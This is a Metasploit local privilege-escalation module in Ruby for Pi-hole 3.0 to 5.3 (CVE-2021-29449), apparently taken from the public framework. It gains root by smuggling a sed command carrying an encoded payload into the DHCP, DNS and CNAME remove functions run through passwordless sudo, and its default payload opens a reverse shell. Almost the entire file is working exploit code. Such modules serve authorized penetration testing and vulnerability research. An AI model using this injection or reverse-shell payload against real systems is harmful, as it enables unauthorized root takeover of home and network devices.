##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
# includes: is_root?
include Msf::Post::Linux::Priv
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# for whoami
include Msf::Post::Unix
# for get_session_pid needed by whoami
include Msf::Post::Linux::System
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
'Description' => %q{
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
removecustomdns, and removestaticdhcp functions without properly validating
the parameters before passing to sed. When executed as the www-data user,
this allows for a privilege escalation to root since www-data is in the
sudoers.d/pihole file with no password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
'Payload' =>
{
'BadChars' => "\x27" # '
},
'Privileged' => true,
'References' =>
[
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
[ 'CVE', '2021-29449' ]
],
'DisclosureDate' => '2021-04-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'Targets' => [
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
['DNS', { 'min' => Rex::Version.new('5.0') }],
['CNAME', { 'min' => Rex::Version.new('5.1') }],
],
'DefaultTarget' => 0
)
)
end
def sudo_pihole
'sudo /usr/local/bin/pihole -a'
end
def pihole_version
version = cmd_exec('sudo /usr/local/bin/pihole -v')
/Pi-hole version is v([^ ]+)/ =~ version
Rex::Version.new(Regexp.last_match(1))
end
def check
w = whoami
print_status("Current user: #{w}")
v = pihole_version
print_status("Pi-hole version: #{v}")
unless v.between?(target['min'], Rex::Version.new('5.3'))
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
end
unless w == 'www-data'
return CheckCode::Safe("User must be www-data, currently #{w}")
end
CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
end
def method_dhcp
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
if !file?(f) || read_file(f).empty?
mac = Faker::Internet.mac_address
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding static DHCP #{mac} #{ip}")
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removestaticdhcp command')
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
if mac
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
end
end
def method_dns
f = '/etc/pihole/custom.list'
if !file?(f) || read_file(f).empty?
name = Faker::Internet.domain_name
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding DNS entry #{name} #{ip}")
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomdns command')
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
end
end
def method_cname
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
if !file?(f) || read_file(f).empty?
name = "#{rand_text_alphanumeric(8..12)}.edu"
print_status("Adding CNAME entry #{name}")
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomcname command')
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
end
end
def exploit
if target.name == 'DHCP'
method_dhcp
elsif target.name == 'DNS'
method_dns
elsif target.name == 'CNAME'
method_cname
end
end
end
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